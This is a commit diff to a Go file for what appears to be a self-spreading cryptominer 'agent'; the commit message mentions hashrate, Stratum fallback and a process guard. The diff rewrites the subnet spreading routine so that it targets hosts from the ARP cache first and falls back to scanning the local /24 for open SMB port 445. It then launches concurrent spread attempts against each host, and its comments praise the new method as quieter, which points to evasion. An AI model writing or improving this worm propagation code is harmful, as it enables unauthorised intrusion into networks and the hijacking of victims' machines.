fix: agent effectiveness -- hashrate accuracy, process guard, Stratum fallback, ARP-first spread

agent/deploy/autospread.go

@@ -51,24 +51,53 @@ func RunSpreadOnce(cfg config.RuntimeConfig) string {
 var spreadSem = make(chan struct{}, 16)
 
 func spreadToLocalSubnet(cfg config.RuntimeConfig) {
-	ips := getLocalIPs()
-	for _, ip := range ips {
-		subnet := getSubnet(ip)
-		if subnet == "" {
-			continue
+	// ARP-first: only probe hosts the OS has recently spoken to.
+	// Typically 5–20 hosts vs 253 cold-probes — far quieter and faster.
+	targets := arpHosts()
+
+	// Fallback: if ARP cache is sparse (< 3 entries), port-scan the /24 for
+	// machines with SMB open so we still reach previously-unseen machines.
+	if len(targets) < 3 {
+		ips := getLocalIPs()
+		seen := make(map[string]bool)
+		for _, t := range targets {
+			seen[t] = true
 		}
-		for i := 1; i < 255; i++ {
-			target := fmt.Sprintf("%s.%d", subnet, i)
-			if target == ip {
+		for _, ip := range ips {
+			subnet := getSubnet(ip)
+			if subnet == "" {
 				continue
 			}
-			spreadSem <- struct{}{} // acquire slot
-			go func(t string) {
-				defer func() { <-spreadSem }() // release slot when done
-				attemptSpread(cfg, t)
-			}(target)
+			for i := 1; i < 255; i++ {
+				candidate := fmt.Sprintf("%s.%d", subnet, i)
+				if candidate == ip || seen[candidate] {
+					continue
+				}
+				// Quick port check — only bother with machines that have :445 open
+				conn, err := net.DialTimeout("tcp", candidate+":445", 400*time.Millisecond)
+				if err == nil {
+					conn.Close()
+					seen[candidate] = true
+					targets = append(targets, candidate)
+				}
+			}
 		}
 	}
+
+	localSet := make(map[string]bool)
+	for _, ip := range getLocalIPs() {
+		localSet[ip] = true
+	}
+	for _, target := range targets {
+		if localSet[target] {
+			continue
+		}
+		spreadSem <- struct{}{}
+		go func(t string) {
+			defer func() { <-spreadSem }()
+			attemptSpread(cfg, t)
+		}(target)
+	}
 }
 
 func getLocalIPs() []string {